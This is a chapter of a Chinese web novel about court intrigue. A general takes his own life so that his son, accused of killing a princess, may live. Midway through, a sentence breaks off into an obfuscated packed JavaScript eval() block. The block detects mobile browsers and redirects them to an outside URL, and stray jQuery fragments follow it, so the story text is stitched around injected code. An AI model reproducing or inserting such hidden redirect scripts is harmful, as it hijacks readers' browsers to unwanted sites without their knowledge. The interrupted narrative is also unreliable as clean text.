乾清宫内,景皑跪在皇帝面前,双手托着过去皇帝赐给他的刀。
景皑:“陛下,罪臣教子无方,请陛下降罪。”
皇帝仍在批奏本,别说抬头了,连眼皮都不带抬的。
景皑咬了口唾沫,他跪得太久了,膝盖疼得要命。他哽咽道:“罪臣愿意替子受过。”
“你两个孩子呢。”皇帝依旧不抬头,“一个秽乱东宫,一个谋杀公主,你有八个头也不够砍的。”
景皑说:“罪臣什么都可以不要,只希望陛下能留下他们的命。”
皇帝抬眼看他:“爵位,战功,好名声,还有这条命,你都能不要了?”
“只要陛下能留下罪臣的孩子,罪臣什么都不要。”景皑哽咽道,“孩子们都还小,不懂事,都是我这个当父亲的罪过。”
皇帝挑眉。
景皑继续说:“罪臣只希望孩子们能活下去,做个庶民,老老实实地过完这辈子。”
皇帝笑了。
景皑说:“罪臣就这一点心愿,陛下,看在罪臣这么多年为您效忠的份上,成全罪臣吧。”
皇帝笑了,他频频点头:“朕成全你。”
景皑站起来,就要退。
“别走,就在这,”皇帝冲他怀里的刀抬抬下巴,“就用朕送给你的这把刀。”
—
晦朔司大牢内,景思安被安排在了最阴的囚室中。
“滴答滴答滴答……”石块垒的墙不停地冒汗。空气又潮又阴,景思安身上的旧伤又痒又疼。
他蜷缩在地上,使劲挠胳膊肘上的刀疤,像一只害怕的穿山甲。
他不敢合眼,怕一睡着眼前就浮现昌宁被人一刀捅穿胸膛的场景。
“景思安。”
他顿时缩得更紧,双手抱住脑袋,闭上眼大叫道:“别杀我!别杀我!”
皇帝故意咳嗽两声,看两眼墙上青苔,捂住鼻子,嫌弃地撇嘴。
“景思安,”连云栈稍微大点声喊,“陛下驾到。”
“陛下!”景思安腾的一下从稻草堆上爬起来,他砰砰砰地给皇帝磕头,“吾皇万岁万岁万万岁!”
皇帝眉眼略微舒坦些,说:“起来回话。”
景思安听话地站起来,头依然埋得很深。
皇帝顿了顿,问:“你就没有要跟朕说的?”
“陛下不问,臣不敢多说。”景思安恭恭敬敬地说。
皇帝余光看见萧回与连云栈脸色变难看了。这两位就爱抢答,有些话他还没问,人家就立马回答了;有些事他还没做,人家就麻利地干完了。
皇帝:“你现在可以说了。”
“陛下明鉴!臣什么都没做!”景思安跪下,说,“婚礼那日,公主把刀夹在臣脖子上,扬言要杀了臣!随后臣就因中了蒙汗药昏了过去,醒来就发现公主殿下已经遇刺。”
皇帝:“你也中了迷药?”
“臣不敢欺瞒陛下。”景思安说,“臣听得清清楚楚,公主殿下亲口承认,她在宴席上下了药,就为了杀了臣。”
皇帝问:“昌宁为何要杀你?”
景思安说:“公主殿下说,她心有所属,不愿嫁与臣。”
“可昌宁跟朕说,她情愿嫁给你。”皇帝说,“昌宁在朕身边长大,朕从未听说过她有什么心上人。你为了给自己开脱,当真煞费苦心。”
萧回在旁边煽风点火:“是啊父皇,在此之前,儿臣也没听说过妹妹与谁家的贵公子走得近。哪来的‘心有所属’一说?”
景思安:“臣所言句句属实,臣万万不敢欺瞒陛下!”
皇帝冷哼一声:“你说你也昏了过去,又有何人可以证明?整个公主府的人都中了药,连太子都昏了头!”
景思安说:“陛下,臣吃了熊心豹子胆,都不敢杀公主殿下!谋杀公主是何等罪过,臣不敢拿全家人的性命开玩笑!”
皇帝微微动容,他何尝不知道景思安没这个胆子?
“可昌宁知道你长姐的秘密,要向朕揭发她!”皇帝俯身对景思安说,“你为了保住你姐的太子妃之位,也是为了保住你表哥的太子之位,你不得不这么做,对吗?”
景思安猛地一颤,他就知道,萧锦不会无缘无故地提起太子太子妃,他当然知道景思娴与叶崇的事,却也知道他们在三年前就断了联系。
萧锦的死,倒像是为了拉整个景家下水而精心设计的阴谋。
“臣听不懂,太子妃娘娘有何秘密,臣也不会知道。”景思安说,“臣不明白,陛下所言‘秘密’,究竟是什么。”
萧回冷哼一声:“景氏与外男私通,秽乱东宫。”
连云栈说:“景氏的贴身嬷嬷交代,景氏与澄阳侯叶崇是青梅竹马,二人孩子时就定了亲。景氏十几岁时,那叶崇还追到了辽北。二人在军中同吃同住,如同做了夫妻。”
“胡说!”景思安急道,“叶崇化名从军,而我姐姐是随军大夫,吃的是军中饭菜不错,可大夫有自己的帐子,何来同住一说?!再者,他们的事,早在姐姐嫁给太子之前结束。你们还要抓着以前的事不到什么时候?!”
连云栈说:“可澄阳侯至今未娶。”
景思安反问:“他是娶妻还是出家,与我们何干?”
“与你们没关系?”皇帝想了想,“朕一直很好奇,当初叶崇带回来两个潼裕的官,指控潼裕有人用私盐与力剌人换马。是,他说的是真的,朕也继续查了下去。可朕不明白,叶崇在好好的上京城不待,为何偏偏跑到潼裕去?”
景思安说:“臣不知道。”
“你不知道,澄阳侯也不说,朕去问太子,他就会顾左右而言他,”皇帝问,“澄阳侯何时投靠了东宫?”
景思安:“陛下当问澄阳侯,臣不知。”
“狡吧,狡吧!”皇帝抬高了声音,“你们所有人都在说景氏与太子情深义重,那为何他们成亲五年,至今没有子嗣?!东宫除了一个景氏,可没有其他女人。”
景思安无奈地说:“殿下与姐姐为何没有子嗣,您该去找太医问,不该来问臣。”
连云栈说:“太医已经为景氏查过,她因为常年服用避子汤,身子极为寒凉、很难有孕。”
萧回说:“若说景氏与叶崇没有奸情,有谁会信?没有奸情,她喝什么避子汤?为皇家开枝散叶的活,多少女人想干还干不了呢。”
“屹王殿下!万万不可胡乱说啊!”景思安害怕地说,“我长姐清清白白,不容你如此玷污!”
皇帝说:“昨日,太子写了休书,废了景氏。”
景思安的心顿然抽痛:“已经废了?”
“休书由太子亲自递至御前,景氏私通外男罪不容诛,现在已经打入晦朔司大牢,听候发落。”皇帝说,“你还要继续嘴硬吗?”
景思安的双臂一直颤抖,马上就要支撑不住了。他没想到萧沃会如此迫不及待地把人废了……他不是那样凉薄的人。就算是废,也不能用这个理由。
景思安咽了口唾沫,说:“没做过的事,臣不认。”
皇帝嗤的一声:“顽抗到底,你只会拖累全家。”
景思安想起来得胜归朝的那天,景皑藏在人潮中,挥舞着双臂喜极而泣的样子。他希望让父亲为他骄傲,他不想为他而流泪,甚至因为他去死。
可姐姐的事东窗事发,自己也即将被扣上谋杀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602680|183179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公主的罪名,无论哪一桩落在景家头上,都是灭顶之灾。
景思安讽刺地问:“不顽抗,就不会连累全家吗?”
皇帝勾起唇角:“对。”
景思安问:“陛下,您真的会留我父亲的命吗?”
皇帝眼含笑意,不正面回答。
景思安看过萧回,又看看连云栈,说:“可臣……真的没有害公主殿下。”
“父皇!景思安所言一句都不可信!”萧回瞥一眼景思安,说,“儿臣在公主府中亲眼所见,景思安用您赏赐给昌宁的剑,架在昌宁的脖子上!他说,昌宁毁了他的一辈子,毁了景家。他宁可杀了她,也不肯做个废人,在驸马府度过一生!”
“你——胡说八道!”景思安怒视萧回,他说的这些话,分明是将自己与萧锦的对话掐头去尾、再添油加醋说给皇帝听。果然如此……怪不得在皇帝赐婚时,他萧回上蹿下跳,恨不得把萧锦塞自己床上,原来是在这等着自己!
萧回故作委屈:“父皇您瞧,他狗急跳墙了!”
“卑鄙!”景思安咬牙切齿地说。
萧回“咚”地一声给皇帝跪下:“父皇!景思安有不臣之心!昌宁死在他剑下,却始终没有半分忏悔之意!景思安当杀,景思娴当杀,景皑教子无方,更当杀!”
连云栈也说:“陛下,杀害公主之人力大无穷,而景思安武将出身;宴席上,所有人都中了蒙汗药而晕倒,唯独景思安,他在席上屡次拒绝他人敬酒,明显是知道那酒里有问题!”
景思安争辩道:“我不喝酒是因为我喝不了酒!再有,你说所有人都昏了过去,那为何我与公主说的话,他屹王听得那么真切?!”
皇帝看向萧回。
“儿臣唯一的妹妹出嫁,儿臣就怕她受委屈!”萧回说着竟留下几滴泪来,“她的宴席,儿臣也吃不下。故而儿臣早早退席,想着去她的院子外待一会。却没想到,撞见景思安谋害昌宁!”
皇帝不说话,一时忍不住笑了出来。萧回居然说疼萧锦,真的是滑天下之大稽。
“儿臣不敢欺瞒父皇!父皇明鉴!”萧回磕了个响头。
皇帝问:“有屹王作证,景思安,你还有什么好辩解的?”
景思安垂下眼眸,皇帝在乎的是萧回作证吗?他在乎的是萧锦的死吗?他想要的只是把景家拉下水罢了。他今天来,也不是为了亲审,而是为了通知自己,景家完了,太子为了自保,早早跟景家撇清了关系。
皇帝要他们死,他们怎么能活下去呢?
反抗,能掀起多大波浪?辽北兵权在太子手中,太子如今又……没别的办法了。
皇帝说:“如果你认罪,朕可以放过景皑。”
“臣听凭陛下处置。”景思安叩头,小声说。
皇帝回头看向连云栈,她跟手下眼神示意,便有人端上来一个木托盘,盘中有一杯酒。
“念在你曾为国立功,朕保尔全尸。”皇帝把酒杯端给他,“只有你死了,朕心才能安。”
景思安盯着那杯酒,眼睛顿时酸涩了。
“栖云——栖云——”
耳边似乎又想起了辽北边疆的风声、父亲的呼唤。
人会有来世吗?
——有吧。
那么爹爹,您能不能先找到我?
景思安一口将那杯酒喝干。
他跪在那,汗与泪齐下,等待毒发。
“别等了,”皇帝说,“酒里没毒。”
景思安猛地抬起头,不敢相信自己的耳朵。
“你爹替子受过,今日已经自裁了。”皇帝转身离去,“朕答应了他,放你们姐弟出去,朕说到做到。”